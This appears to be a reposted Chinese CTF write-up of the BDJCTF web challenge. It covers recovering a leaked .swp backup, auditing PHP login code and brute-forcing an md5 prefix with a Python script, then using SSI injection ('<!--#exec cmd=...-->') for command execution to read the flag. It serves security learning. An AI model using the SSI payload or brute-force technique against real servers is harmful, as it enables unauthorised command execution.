BDJCTF

编程入门 行业动态 更新时间:2024-10-28 02:31:53

BDJCTF

BDJCTF

WP

进入环境,看到是个登录页面,第一反应是SQL注入。。。然后我就在SQL注入的路上一去不复返了。

感觉自己就是做题思路不是很开阔,知识点学的差是一个方面,思维的发散性又是一个方面。这题关键的信息在index.php.swp,考虑到自己SQL注入不行,应该去转换思路,去尝试其他的方向,比如备份文件这样的。
不过这题似乎直接扫目录就可以扫到index.php.swp,不过我dirsearch没扫到,还是自己字典的问题,要慢慢增加自己字典的容量。

然后就是代码审计:

<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content);}header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header  error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>

username是你写入那个.shtml文件的内容,这个登录点的验证是对密码的md5验证,脚本如下:

import hashlibfor v1 in 'abcdefghijklmnopqrstuvwxyz123456789':for v2 in 'abcdefghijklmnopqrstuvwxyz123456789':for v3 in 'abcdefghijklmnopqrstuvwxyz123456789':for v4 in 'abcdefghijklmnopqrstuvwxyz123456789':for v5 in 'abcdefghijklmnopqrstuvwxyz123456789':for v6 in 'abcdefghijklmnopqrstuvwxyz123456789':v = v1 + v2 + v3 + v4 + v5 + v6m = hashlib.md5()m.update(v.encode("utf-8"))n = m.hexdigest()if n[0:6] == '6d0bc1':print(v)

登录成功后恐怕就是对于.shtml文件的利用了,能够往里面写任何东西,不存在过滤,很明显可以写马之类的,但是对于这个.shtml文件是啥不太了解,查了一下,是自己从来没接触过的SSI注入的内容,参考文章如下:
SSI注入漏洞总结

因此可以往里面写<!--#exec cmd="ls /var/www/html" -->,但是文件的名字不能知道,我本来以为可能是爆破,但是我一看那个$random就已经是5位了,我在本地自己试了个uniqid函数,看到位数立马知道了这题不是爆破。。。

后来抓包,发现文件名藏在响应头里,因此直接访问那个文件就可以得到命令执行的结果,然后直接访问/var/www/html下面的flag文件就可以了。

反思

后面的内容不算难,但是自己卡在了死磕SQL注入那里。。还是思维和知识点的运用不行,还需要努力。

更多推荐

BDJCTF

本文发布于:2024-02-08 14:50:02,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1674202.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:BDJCTF

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!